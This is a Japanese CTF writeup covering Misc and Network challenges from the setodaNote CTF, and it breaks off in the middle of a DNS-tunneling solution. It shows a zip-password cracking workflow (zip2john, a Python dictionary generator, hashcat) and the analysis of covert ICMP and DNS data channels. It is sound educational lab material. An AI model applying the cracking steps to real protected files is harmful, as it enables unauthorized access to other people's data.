Writeup: setodaNote CTF

# 概要

2021/8/21-9/4と2週間に渡って開催された [setodaNote CTF](https://ctf.setodanote.net/)のWriteupになります。

[@soji256](https://twitter.com/soji256) が一人で作成されたCTFのようですが、ジャンル・ボリュームともに多く、非常に楽しむことができました！ありがとうございました！

ジャンルと問題数は以下の通りです。69問ありました。

* Misc： 12問
* Network: 8問
* Web： 8問
* OSINT： 10問
* Crypto： 8問
* Rev: 5問
* Forensics: 11問
* Programing: 4問
* Pwn: 3問

## 結果

結果は以下の通りでした。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1344050/c3f43274-a46b-383c-624a-f0874b0e0776.png)

## Misc

### Welcome

#### 問題

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1344050/174bf4fe-3fa4-cc0d-6f2a-deee93342e32.png)

#### 攻略方法

本CTFでは、WebShellが用意されており、ログインするとカレントにフラグファイルが置かれていました。

```console
user@03faf07ab128:~$ ls 
welcome.txt
user@03faf07ab128:~$ cat welcome.txt 

  Welcome to the setodaNote CTF!!

  *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
  *                                 *
  *   flag{Enjoy_y0ur_time_here!}   *
  *                                 *
  *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

  This is the flag.

user@03faf07ab128:~$ 
```

WebShellへの接続確認を兼ねた問題になっていました。

#### フラグ

```none
flag{Enjoy_y0ur_time_here!}
```

### morse_one

#### 問題

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1344050/51101391-b673-e74f-0a57-605e092c5614.png)

#### 攻略環境

* [Kali Linux(2021.2)](https://www.kali.org/)
* Python3
* [Cyber Chef](https://gchq.github.io/CyberChef/)

#### 攻略方法

問題に添付されたファイルを解答すると、以下のファイルが格納されていました。

```console
┌──(vagrant㉿kali)-[/vagrant/misc/morse_one]
└─$ cat morse_one.txt
DDDBSDDSBDDDSDBDSBBBSDBBDSDBDDSDSBDDB
```

問題のタイトルの通り、[モールス符号](https://ja.wikipedia.org/wiki/%E3%83%A2%E3%83%BC%E3%83%AB%E3%82%B9%E7%AC%A6%E5%8F%B7)だと思います。

* D -> 短点
* B -> 長点
* S -> 区切り文字

と、仮定し、以下の通り変換します。

```console
┌──(vagrant㉿kali)-[/vagrant/misc/morse_one]
└─$ cat morse_one.txt | tr 'D' '.' | tr 'B' '-' | tr 'S' ' '
...- .. -... .-. --- .--. .-.. . -..-
```

変換したテキストをCyber Chefで解読したところ、以下の結果が得られました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1344050/6cb1dc74-a3c0-5e9a-2c07-9a12139697a2.png)
 
`VIBROPLEX`を調べたところ、 モールス符号の送信装置なので、これがフラグそうです。

https://en.wikipedia.org/wiki/Vibroplex

#### フラグ

```none
flag{VIBROPLEX}
```

### Hash

#### 問題

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1344050/564359bd-cfb7-49d5-5d96-4bee208e86ac.png)

#### 攻略環境

* [Kali Linux(2021.2)](https://www.kali.org/)
* [hash-identifier(v1.2)](https://www.kali.org/tools/hash-identifier/)

#### 攻略方法

添付ファイルを回答する以下の通り90個のファイルがありました。

```console
┌──(vagrant㉿kali)-[/vagrant/misc/Hash]
└─$ ls hash
pass001.txt

<snip>

pass090.txt
```

ためにし、いくつかのファイルを確認してみます。

```console
┌──(vagrant㉿kali)-[/vagrant/misc/Hash]
└─$ cat hash/pass001.txt
flag{turkey
┌──(vagrant㉿kali)-[/vagrant/misc/Hash]
└─$ cat hash/pass002.txt
flag{cure
```

問題文に記載しているハッシュ値のファイルを結合すればflagが得られそうです。

`hash-identifier`でハッシュアルゴリズムの特定をします。

```console
┌──(vagrant㉿kali)-[/vagrant/misc/Hash]
└─$ hash-identifier
   #########################################################################
   #     __  __                     __           ______    _____           #
   #    /\ \/\ \                   /\ \         /\__  _\  /\  _ `\         #
   #    \ \ \_\ \     __      ____ \ \ \___     \/_/\ \/  \ \ \/\ \        #
   #     \ \  _  \  /'__`\   / ,__\ \ \  _ `\      \ \ \   \ \ \ \ \       #
   #      \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \      \_\ \__ \ \ \_\ \      #
   #       \ \_\ \_\ \___ \_\/\____/  \ \_\ \_\     /\_____\ \ \____/      #
   #        \/_/\/_/\/__/\/_/\/___/    \/_/\/_/     \/_____/  \/___/  v1.2 #
   #                                                             By Zion3R #
   #                                                    www.Blackploit.com #
   #                                                   Root@Blackploit.com #
   #########################################################################
--------------------------------------------------
 HASH: aff02d6ad353ebf547f3b1f8ecd21efd7931e356f3930ab5ee502a391c5802d7

Possible Hashs:
[+] SHA-256
[+] Haval-256
```

`SHA-256`だとわかりました。あとは、各ファイルをのハッシュ値を抽出して、ファイルを特定します。

```console
┌──(vagrant㉿kali)-[/vagrant/misc/Hash]
└─$ sha256sum hash/* > hash_list.txt

┌──(vagrant㉿kali)-[/vagrant/misc/Hash]
└─$ cat hash_list.txt| grep aff02d6ad353ebf547f3b1f8ecd21efd7931e356f3930ab5ee502a391c5802d7
aff02d6ad353ebf547f3b1f8ecd21efd7931e356f3930ab5ee502a391c5802d7  hash/pass024.txt

┌──(vagrant㉿kali)-[/vagrant/misc/Hash]
└─$ cat hash_list.txt| grep 8428f87e4dbbf1e95dba566b2095d989f5068a5465ebce96dcdf0b487edb8ecb
8428f87e4dbbf1e95dba566b2095d989f5068a5465ebce96dcdf0b487edb8ecb  hash/pass034.txt

┌──(vagrant㉿kali)-[/vagrant/misc/Hash]
└─$ cat hash_list.txt| grep e82f6ff15ddc9d67fc28c4b2c575adf7252d6e829af55c2b7ac1615b304d8962
e82f6ff15ddc9d67fc28c4b2c575adf7252d6e829af55c2b7ac1615b304d8962  hash/pass079.txt
```

特定したファイルに記載されている文字列を結合すると、フラグが得られました。

```console
┌──(vagrant㉿kali)-[/vagrant/misc/Hash]
└─$ cat hash/pass024.txt
flag{hardest

┌──(vagrant㉿kali)-[/vagrant/misc/Hash]
└─$ cat hash/pass034.txt
_logic_

┌──(vagrant㉿kali)-[/vagrant/misc/Hash]
└─$ cat hash/pass079.txt
puzzle}
```

#### フラグ

```none
flag{hardest_logic_puzzle}
```

### magic_number

#### 問題

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1344050/52d2916e-c21f-2115-bd0b-60ac5290732d.png)

#### 攻略環境

* [Kali Linux(2021.2)](https://www.kali.org/)
* hexdump

#### 攻略方法

タイトルどおりファイルのマジックナンバーを確認します。

問題文に記載されているマジックナンバーはそれぞれ以下のファイルを示しています。

- [89 50 4e 47] -> PNG
- [52 61 72 21] -> RAR
- [ff d8 ff e0] -> JPEG

それぞれの拡張子が示すファイルの先頭バイトを確認します。

```console
┌──(vagrant㉿kali)-[/vagrant/misc/magic_number]
└─$ hexdump -C magic_number/post.png| head -n 1
00000000  89 50 4e 47 0d 0a 1a 0a  00 00 00 0d 49 48 44 52  |.PNG........IHDR|

┌──(vagrant㉿kali)-[/vagrant/misc/magic_number]
└─$ hexdump -C magic_number/rar.rar| head -n 1
00000000  52 61 72 21 1a 07 01 00  33 92 b5 e5 0a 01 05 06  |Rar!....3.......|

┌──(vagrant㉿kali)-[/vagrant/misc/magic_number]
└─$ hexdump -C magic_number/light.jpg| head -n 1
00000000  ff d8 ff e0 00 10 4a 46  49 46 00 01 01 01 00 60  |......JFIF.....`|
```

ファイル名が特定できたので、ファイル名を問題文に従って結合するとフラグが得られました。

#### フラグ

```none
flag{post_rar_light}
```

#### 参考情報

https://en.wikipedia.org/wiki/List_of_file_signatures

https://gist.github.com/leommoore/f9e57ba2aa4bf197ebc5

https://asecuritysite.com/forensics/magic

### marse_zero

#### 問題

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1344050/e4a61544-1ef1-bf1b-e892-0cdf358e932d.png)

#### 攻略環境

* [Kali Linux(2021.2)](https://www.kali.org/)
* Python3
* [Cyber Chef](https://gchq.github.io/CyberChef/)

#### 攻略方法

タイトルから [morse_one](###morse_one) と同様に[モールス符号](https://ja.wikipedia.org/wiki/%E3%83%A2%E3%83%BC%E3%83%AB%E3%82%B9%E7%AC%A6%E5%8F%B7)の問題と想定して取りかかりました。

添付されたファイルを確認すると、以下の通り`Z`しか表示されませんでした。

```console
┌──(vagrant㉿kali)-[/vagrant/misc/morse_zero]
└─$ cat morse_zero.txt
ZZZZZZZZZZZZZZZ
```

これだとモールス符号が成立しないので、バイナリを確認すると以下の通り同じバイト列が繰り返し出現しており、モールス符号が成立する可能性があります。

```console
┌──(vagrant㉿kali)-[/vagrant/misc/morse_zero]
└─$ hexdump -C morse_zero.txt
00000000  e2 80 8c e2 80 8c e2 80  8b e2 80 8b 5a e2 80 8b  |............Z...|
00000010  5a e2 80 8b e2 80 8c e2  80 8b 5a e2 80 8c e2 80  |Z.........Z.....|
00000020  8c e2 80 8c e2 80 8c e2  80 8c 5a e2 80 8b e2 80  |..........Z.....|
00000030  8b e2 80 8c e2 80 8c e2  80 8b e2 80 8c 5a e2 80  |.............Z..|
00000040  8b e2 80 8c e2 80 8c 5a  e2 80 8b e2 80 8c e2 80  |.......Z........|
00000050  8c e2 80 8c e2 80 8c 5a  e2 80 8c e2 80 8b e2 80  |.......Z........|
00000060  8b 5a e2 80 8c 5a e2 80  8b e2 80 8b e2 80 8b e2  |.Z...Z..........|
00000070  80 8b 5a e2 80 8b e2 80  8b e2 80 8c e2 80 8c e2  |..Z.............|
00000080  80 8b e2 80 8c 5a e2 80  8b e2 80 8b e2 80 8b 5a  |.....Z.........Z|
00000090  e2 80 8b e2 80 8c e2 80  8c e2 80 8b 5a e2 80 8b  |............Z...|
000000a0  e2 80 8c 5a e2 80 8c e2  80 8b e2 80 8c e2 80 8b  |...Z............|
000000b0  5a e2 80 8b                                       |Z...|
000000b4
```

出現するバイト列を見てみると、以下の3種類が繰り返し使われていることに気づきました。

- e2 80 8c 
- e2 80 8b 
- 5a

これを、モールス符号に当てはめて、以下の通り変換を実行しました。(`Z`は区切り文字だと仮定して、のこりのバイト列に長点・短点があると想定)

```python
#!/usr/bin/env python3

r = ""
with open("morse_zero.txt", "rb") as f:
    while True:
        data = f.read(1)
        if len(data) == 0:
            break
        if data == b'\x8c':
            r += "-"
        elif data == b'\x8b':
            r += "."
        elif data == b'\x5a':
            r += " "
print(r)
```

```console
┌──(vagrant㉿kali)-[/vagrant/misc/morse_zero]
└─$ ./solver.py
--.. . .-. ----- ..--.- .-- .---- -.. - .... ..--.- ... .--. .- -.-. .
```

得れた文字列をCyberChefで解析するとフラグが得られました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1344050/c0c7c61d-a438-2460-e416-2f9725f4d04f.png)
 
#### フラグ

```console
Flag{ZER0_W1DTH_SPACE}
```

### i_knew_it

#### 問題

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1344050/13b9b8c6-2289-dc44-d238-892b313e06ad.png)

#### 攻略方法

解答する、アセンブリが記載された画像ファイルがありました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1344050/9738ced8-382f-a1f7-134d-4981e1ea0ef1.png)

よくみてみると、`RC4`の特徴があり、これがフラグになっています。

RC4の解説について、以下に詳細が記載されています。

https://yasulib.hatenablog.jp/entry/20180127/1517041821

#### フラグ

```console
flag{RC4}
```

### Redacted

#### 問題

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1344050/6ada92ea-0ef2-b4c4-ba7c-5bc3cfa92040.png)

#### 攻略方法

PDFファイルが添付されており、開くと以下のような黒塗りされた文章があります。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1344050/aab978f9-e1b0-ac3a-73ef-886616076959.png)

Adobe Readerで開いて、コピペしたところ以下の文章が取得でき、そのなかにフラグがありました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1344050/946d5043-8fdf-4442-38fb-28cf594e1487.png)

#### フラグ

```none
flag{weather_balloon}
```

### storing_password

#### 攻略環境

* [Kali Linux(2021.2)](https://www.kali.org/)
* Python3
* [hashcat(v6.1.1)](https://hashcat.net/hashcat/)

#### 問題

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1344050/a16a0b9a-574b-7cd2-57dd-add252a9015e.png)

#### 攻略方法

パスワード付きのzipファイルと以下の情報セキュリティガイドラインが与えられた問題です。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1344050/274c7bdc-38a1-8ae7-a3d8-d3a42bd5ed9f.png)

情報セキュリティガイドラインに従ったパスワードが設定されていると仮定し、総当たり攻撃をしかければ解読できそうです。

以下の方針で進めました。

* パスワードに法則があるため、法則に従った辞書ファイルを作成する。
* `hashcat`を使った辞書攻撃を行う。

まずzipファイルのパスワードハッシュ値を取得します。

```console
┌──(vagrant㉿kali)-[/vagrant/misc/strong_password/_output]
└─$ zip2john TopSecret.zip | cut -d ":" -f 2 > TopSecret.zip.hash
ver 2.0 TopSecret.zip/TopSecret.txt PKZIP Encr: cmplen=85, decmplen=73, crc=8578F5F9
```

次に、以下の通り辞書ファイルを作成します。

```
#!/usr/bin/env python3

import sys
import string
import itertools
import datetime

alphabet_list = [c for c in string.ascii_letters]
punctuation_list = ['@', '#', '%', '$', '!', '-']

alphabet_combi_list = list(itertools.permutations(alphabet_list, 3))
punctuation_combi_list = list(itertools.permutations(punctuation_list, 2))

with open("abc.txt", "w") as f:
    for c in alphabet_combi_list:
        f.write(f"{c[0]}{c[1]}{c[2]}")
        f.write('\n')

start_date = datetime.datetime(year=2021, month=8, day=21)

with open('dict.txt', 'w') as f:
    for i in range(1, 143 + 365):  # target: 2020/04/01
        date_str = (start_date - datetime.timedelta(days=i)).strftime('%Y%m%d')
        for a in alphabet_combi_list:
            for p in punctuation_combi_list:
                line = f'{a[0]}{a[1]}{a[2]}{p[0]}{date_str}{p[1]}'
                f.write(line)
                f.write('\n')　
```

作成した辞書をもとに、解読を試みるとzipファイルのパスワードがわかりました。

```console
┌──(vagrant㉿kali)-[/vagrant/misc/strong_password]
└─$ hashcat -m 17210 -a 0 ./_output/TopSecret.zip.hash ./dict.txt                                                                                                      

<snip>

$pkzip2$1*1*2*0*55*49*8578f5f9*0*2b*0*55*8578*92c0*598c6b323287ee253bad1378d1f4fe4d91648ea9f1e60fe80374b917e47421b6f3379cf786e9c22453d02e8192c2aecd93122be13b2c348d02c0229c6c8a6b433ac24b17d0e18f215252601daafe595eb6ba28eab3*$/pkzip2$:qYL%20210228!

Session..........: hashcat
Status...........: Cracked
Hash.Name........: PKZIP (Uncompressed)
Hash.Target......: $pkzip2$1*1*2*0*55*49*8578f5f9*0*2b*0*55*8578*92c0*...kzip2$
Time.Started.....: Thu Aug 26 11:01:06 2021 (9 mins, 36 secs)
Time.Estimated...: Thu Aug 26 11:10:42 2021 (0 secs)
Guess.Base.......: File (./dict.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  2206.9 kH/s (0.46ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 689494016/761378080 (90.56%)
Rejected.........: 0/689494016 (0.00%)
Restore.Point....: 689491968/761378080 (90.56%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: qYp$20210228! -> qZI-20210228@

Started: Thu Aug 26 10:54:17 2021
Stopped: Thu Aug 26 11:10:43 2021
```

得られたパスワードをもとに、zipファイルを解答すると中のテキストファイルにフラグが書かれてました。

```console
┌──(vagrant㉿kali)-[/vagrant/misc/strong_password/_output]
└─$ unzip TopSecret.zip
Archive:  TopSecret.zip
[TopSecret.zip] TopSecret.txt password:
 extracting: TopSecret.txt

┌──(vagrant㉿kali)-[/vagrant/misc/strong_password/_output]
└─$ cat TopSecret.txt

flag{And_n0w_h3re_is_my_s3cre7}
```

#### フラグ

```console
flag{And_n0w_h3re_is_my_s3cre7}
```

#### 参考情報

https://blog.amedama.jp/entry/zip-password-gpu-brute-force

## Network

### Host

#### 問題

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1344050/6aae618e-a5ab-4a37-d10b-67666269ca5d.png)

#### 攻略環境

* [Kali Linux(2021.2)](https://www.kali.org/)
* [tshark(v3.4.4)](https://www.wireshark.org/)

#### 攻略方法

以下のpcapファイルからホスト名を探す問題です。

```console
┌──(vagrant㉿kali)-[/vagrant/Network/Host]
└─$ file host.pcap
host.pcap: pcap capture file, microsecond ts (little-endian) - version 2.4 (Ethernet, capture length 262144)
```

まずは、どのような通信が行われているのか確認します。

```console
┌──(vagrant㉿kali)-[/vagrant/Network/Host]
└─$ tshark -r host.pcap
    1   0.000000     10.0.0.1 → 10.0.0.100   TCP 60 80 → 49793 [FIN, ACK] Seq=1 Ack=1 Win=245 Len=0
    2   0.000033   10.0.0.100 → 10.0.0.1     TCP 54 49793 → 80 [ACK] Seq=1 Ack=2 Win=8209 Len=0
    3   1.000610   10.0.0.100 → 10.0.0.1     TCP 54 49793 → 80 [FIN, ACK] Seq=1 Ack=2 Win=8209 Len=0
    4   1.000847   10.0.0.100 → 10.0.0.1     TCP 66 49796 → 80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 WS=256 SACK_PERM=1
    5   1.001120     10.0.0.1 → 10.0.0.100   TCP 60 80 → 49793 [ACK] Seq=2 Ack=2 Win=245 Len=0
    6   1.001120     10.0.0.1 → 10.0.0.100   TCP 66 80 → 49796 [SYN, ACK] Seq=0 Ack=1 Win=29200 Len=0 MSS=1460 SACK_PERM=1 WS=128
    7   1.001228   10.0.0.100 → 10.0.0.1     TCP 54 49796 → 80 [ACK] Seq=1 Ack=1 Win=2102272 Len=0
    8   1.001655   10.0.0.100 → 10.0.0.1     HTTP 559 GET / HTTP/1.1
    9   1.002524     10.0.0.1 → 10.0.0.100   TCP 60 80 → 49794 [ACK] Seq=1 Ack=506 Win=237 Len=0
   10   1.002524     10.0.0.1 → 10.0.0.100   HTTP 487 HTTP/1.1 200 OK  (text/html)
```

HTTP通信が行われているので、ここにホスト名がありそうです。HTTPでフィルタリングして詳細を確認するとホスト名がわかりました。

```console
┌──(vagrant㉿kali)-[/vagrant/Network/Host]
└─$ tshark -r host.pcap -V http

<snip>

Hypertext Transfer Protocol
    HTTP/1.1 200 OK\r\n
        [Expert Info (Chat/Sequence): HTTP/1.1 200 OK\r\n]
            [HTTP/1.1 200 OK\r\n]
            [Severity level: Chat]
            [Group: Sequence]
        Response Version: HTTP/1.1
        Status Code: 200
        [Status Code Description: OK]
        Response Phrase: OK
    Date: Mon, 08 Mar 2021 15:04:26 GMT\r\n
    Server: Apache/2.4.6 (CentOS)\r\n
    Last-Modified: Mon, 08 Mar 2021 14:49:37 GMT\r\n
    ETag: "87-5bd078afca725"\r\n
    Accept-Ranges: bytes\r\n
    Content-Length: 135\r\n
        [Content length: 135]
    Keep-Alive: timeout=5, max=100\r\n
    Connection: Keep-Alive\r\n
    Content-Type: text/html; charset=UTF-8\r\n
    \r\n
    [HTTP response 1/1]
    [Time since request: 0.000869000 seconds]
    [Request in frame: 8]
    [Request URI: http://ctf.setodanote.net/]
    File Data: 135 bytes
```

#### フラグ

```none
flag{ctf.setodanote.net}
```

### tyks_never_dir

#### 問題

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1344050/fdc2bb29-b7bc-8ae1-1d9c-72a4351a283e.png)

#### 攻略環境

* [Kali Linux(2021.2)](https://www.kali.org/)
* [tshark(v3.4.4)](https://www.wireshark.org/)
* [Wireshark(v3.4.4)](https://www.wireshark.org/)

#### 攻略方法

PCAPファイルを解析する問題です。

```consoe
┌──(vagrant㉿kali)-[/vagrant/Network/tkys_never_die]
└─$ file tkys_never_die.pcap
tkys_never_die.pcap: pcap capture file, microsecond ts (little-endian) - version 2.4 (Ethernet, capture length 262144)
```

まずは開いて中身を確認します。

```console
┌──(vagrant㉿kali)-[/vagrant/Network/tkys_never_die]
└─$ tshark -r tkys_never_die.pcap         

<snip>

   18   6.696643   10.0.0.100 → 10.0.0.1     HTTP 512 GET /flag.png HTTP/1.1

<snip>

   51   6.697300     10.0.0.1 → 10.0.0.100   TCP 1514 80 → 49824 [ACK] Seq=44264 Ack=973 Win=31360 Len=1460 [TCP segment of a reassembled PDU]
   52   6.697300     10.0.0.1 → 10.0.0.100   TCP 1514 80 → 49824 [ACK] Seq=45724 Ack=973 Win=31360 Len=1460 [TCP segment of a reassembled PDU]
   53   6.697300     10.0.0.1 → 10.0.0.100   TCP 1514 80 → 49824 [ACK] Seq=47184 Ack=973 Win=31360 Len=1460 [TCP segment of a reassembled PDU]
   54   6.697300     10.0.0.1 → 10.0.0.100   HTTP 216 HTTP/1.1 200 OK  (PNG)
```

`flag.png`を取得している通信があることがわかりました。また、レスポンスは断片化されているようなので、復元処理が必要です。

ここからは、`Wireshark`で作業を行い、対象ファイルを取り出します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1344050/1c708054-281e-091a-149e-58b4e7d07c61.png)

復元したファイルは以下の通りで、フラグが書かれていました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1344050/68ef385b-77d7-88f3-1966-7fb75ca1d71c.png)

#### フラグ

```none
flag{a_treasure_trove}
```

### echo_request

#### 問題

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1344050/aa4516f4-b7b9-07be-0a5e-cd160626dede.png)

#### 攻略環境

* [Kali Linux(2021.2)](https://www.kali.org/)
* [tshark(v3.4.4)](https://www.wireshark.org/)

#### 攻略方法

PCAPファイルを解析する問題です。

```console
┌──(vagrant㉿kali)-[/vagrant/Network/echo_request]
└─$ file echo_request.pcap
echo_request.pcap: pcap capture file, microsecond ts (little-endian) - version 2.4 (Ethernet, capture length 262144)
```

中身を確認してみると、`Echo request`が大量に含まれていることが確認できました。

```console
┌──(vagrant㉿kali)-[/vagrant/Network/echo_request]
└─$ tshark -r echo_request.pcap         

<snip>

   21 114.435669 192.168.224.120 → 192.168.224.105 ICMP 98 Echo (ping) request  id=0x4943, seq=1/256, ttl=64
   22 115.451748 192.168.224.120 → 192.168.224.105 ICMP 98 Echo (ping) request  id=0x4943, seq=2/512, ttl=64
   23 116.475739 192.168.224.120 → 192.168.224.105 ICMP 98 Echo (ping) request  id=0x4943, seq=3/768, ttl=64
```

`Echo request`のData部には任意のデータが設定可能で、ここに断片化されたデータ格納されている可能性が高いです。Data部に着目して見てみます。

```console
┌──(vagrant㉿kali)-[/vagrant/Network/echo_request]
└─$ tshark -r echo_request.pcap -V icmp.type==8 | grep Data

<snip>

    Data (1 byte)
        Data: 66
    Data (1 byte)
        Data: 6c
    Data (1 byte)
        Data: 61
    Data (1 byte)
        Data: 67
    Data (1 byte)
        Data: 7b
    Data (1 byte)
        Data: 49

<snip>
```

`66 -> f`, 6c -> l`, `61 -> a` , `67 -> g`と、flagがあることがわかりました。

データ部を抽出したファイルを作成します。

```
┌──(vagrant㉿kali)-[/vagrant/Network/echo_request]
└─$ tshark -r echo_request.pcap -V icmp.type==8 | grep Data | grep -v byte > data.txt
```

以下のスクリプトで断片情報を結合したところフラグが見つかりました。

```python
#!/usr/bin/env python3

flag = ""

with open("data.txt") as f:
    for line in f:
        flag += chr(int(line.strip().split(':')[1], 16))

print(flag)
```

```console
┌──(vagrant㉿kali)-[/vagrant/Network/echo_request]
└─$ ./solver.py
.....flag{ICMP_Tunneling_T1095}.....
```

#### フラグ

```none
flag{ICMP_Tunneling_T1095}
```

### 参考情報

https://attack.mitre.org/techniques/T1095/

### yes_you_can

#### 問題

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1344050/a3dc4032-0cd2-c50b-446a-c61482b6c043.png)

#### 攻略方法

テキストファイルが添付されており、確認するとCANのログでした。

```console
┌──(vagrant㉿kali)-[/vagrant/Network/yes_you_can]
└─$ file dump.log
dump.log: ASCII text

┌──(vagrant㉿kali)-[/vagrant/Network/yes_you_can]
└─$ head dump.log
(1628245600.155918) vcan0 095#800007F400000017
(1628245600.157006) vcan0 1A4#000000080000003E
(1628245600.157018) vcan0 1AA#7FFF00000000673F
(1628245600.157020) vcan0 1B0#000F0000000175
(1628245600.157023) vcan0 1D0#000000000000000A
(1628245600.158095) vcan0 166#D0320027
(1628245600.160232) vcan0 158#0000000000000028
(1628245600.160243) vcan0 161#000005500108002B
(1628245600.160245) vcan0 191#010010A141001A
(1628245600.160247) vcan0 133#00000000B6
```

フラグ文字列である`{: 0x7B`が含まれているか確認すると、`CAN ID: 244`にフラグが含まれていそうなことがわかりました。

```console
┌──(vagrant㉿kali)-[/vagrant/Network/yes_you_can]
└─$ grep '7B' dump.log
(1628245602.084979) vcan0 244#000000017B
(1628245602.110607) vcan0 244#000000017B
(1628245609.009610) vcan0 244#0000007B00
(1628245609.024920) vcan0 244#0000007B00
```

`CAN ID: 244`を対象にデータを確認すると、フラグを1文字づつ送信している箇所を見つけました。

```console
┌──(vagrant㉿kali)-[/vagrant/Network/yes_you_can]
└─$ grep '244#' dump.log | awk -F# '{print $2}'

<snip>

0000006600
0000006600
0000006600
0000006600
0000006600

<snip>

0000006C00
0000006C00
0000006C00
0000006C00
0000006C00

<snip>
```

`ffffflllll`のように重複して送信をしているため、重複部分を取り除くとフラグが得られました。

#### フラグ

```none
flag{can_bus_hacking}
```

### 参考情報

https://assets.vector.com/cms/content/know-how/VJ/PDF/For_Beginners_CAN_CANFD.pdf

### Digdig

#### 問題

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1344050/eee2218d-e7ca-aa61-6669-3501421e1a14.png)

#### 攻略環境

* [Kali Linux(2021.2)](https://www.kali.org/)
* [tshark(v3.4.4)](https://www.wireshark.org/)

#### 攻略方法

PCAPファイルを解析する問題です。

```console
┌──(vagrant㉿kali)-[/vagrant/Network/Digdig]
└─$ file digdig.pcap
digdig.pcap: pcap capture file, microsecond ts (little-endian) - version 2.4 (Ethernet, capture length 262144)
```

統計情報を見るとDNSのみでした。

```console
┌──(vagrant㉿kali)-[/vagrant/Network/Digdig]
└─$ tshark -r digdig.pcap -z io,phs -q

===================================================================
Protocol Hierarchy Statistics
Filter:

eth                                      frames:86 bytes:9984
  ip                                     frames:86 bytes:9984
    udp                                  frames:86 bytes:9984
      dns                                frames:86 bytes:9984
===================================================================
```

DNSトンネリング使われていると思い、DNSリクエストを確認してみると、それらしい通信が行われていることが確認できました。

```console
┌──(vagrant㉿kali)-[/vagrant/Network/Digdig]
└─$ tshark -V -r digdig.pcap | grep "type AAAA"
        00500000LFI2358AA31.setodanote.net: type AAAA, class IN
        00500000LFI2358AA31.setodanote.net: type AAAA, class IN
        00500000LFI2358AA32.setodanote.net: type AAAA, class IN
        00500000LFI2358AA32.setodanote.net: type AAAA, class IN
        00500000LFI2358AA33.setodanote.net: type AAAA, class IN
        00500000LFI2358AA33.setodanote.net: type AAAA, class IN
<snip>
```

さらに、`flag{`を16進数に変換しgrepすると複数の通信が抽出できました。

```console
┌──(vagrant㉿kali)-[/vagrant/Network/Digdig]
└─$ tshark -V -r digdig.pcap | grep "type AAAA" | grep 666c61677b
        005aa00e20666c61677b3768.setodanote.net: type AAAA, class IN
        005aa00e20666c61677b3768.setodanote.net: type AAAA, class IN
        005aa001666c61677b546869.setodanote.net: type AAAA, class IN
        005aa001666c61677b546869.setodanote.net: type AAAA, class IN
        005aa00520666c61677b4e69.setodanote.net: type AAAA, class IN
        005aa00520666c61677b4e69.setodanote.net: type AAAA, class IN
```

`7d`が含まれていないため、分割して送信している可能性が高そうです。

DNSトンネリングは、UDPの都合上順序が保証できないため、リクエスト中に識別情報を入れている場合があります。今回の場合は先頭の8byteが該当しそうです。

- `005aa00e`
- `005aa001`
- `005aa005`

試しに、`005aa00e`で検証をしてみます。

```console
┌──(vagrant㉿kali)-[/vagrant/Network/Digdig]
└─$ tshark -r digdig.pcap dns | grep -v response | grep "AAAA" | grep 005aa00e
   69  18.446251 192.168.224.105 → 192.168.224.20 DNS 99 Standard query 0x0026 AAAA 005aa00e20666c61677b3768.setodanote.net

┌──(vagrant㉿kali)-[/vagrant/Network/Digdig]
└─$ tshark -r digdig.pcap dns | grep -v response | grep "AAAA" | grep 005aa00f
   65  18.421682 192.168.224.105 → 192.168.224.20 DNS 99 Standard query 0x0024 AAAA 005aa00f335f6b33795f3135.setodanote.net

┌──(vagrant㉿kali)-[/vagrant/Network/Digdig]
└─$ tshark -r digdig.pcap dns | grep -v response | grep "AAAA" | grep 005aa010
   77  18.500880 192.168.224.105 → 192.168.224.20 DNS 99 Standard query 0x002a AAAA 005aa0105f35336375723137.setodanote.net

┌──(vagrant㉿kali)-[/vagrant/Network/Digdig]
└─$ tshark -r digdig.pcap dns | grep -v response | grep "AAAA" | grep 005aa011
   57  18.371236 192.168.224.105 → 192.168.224.20 DNS 99 Standard query 0x0020 AAAA 005aa011797d323232323232.setodanote.net
```

得られたデータは以下の通りでした。

- 20666c61677b3768
- 335f6b33795f3135
- 5f35336375723137
- 797d323232323232

これをCyberChefで解読すると、以下のとおりでした。これでフラグを特定する方法が確立できました。

```none
flag{7h3_k3y_15_53cur17y}222222
```

一見、フラグが得られているように見えますが、フラグ文字列が分割していることを考えると`flag{`でフィルタリングをすると見逃しが発生する可能性があります。

そこで、`0x7d: }`を対象にgrepして、デクリメントすることでフラグを生成することにします。

```console
┌──(vagrant㉿kali)-[/vagrant/Network/Digdig]
└─$ tshark -r digdig.pcap dns | grep -v response | grep "AAAA" | grep '7d'
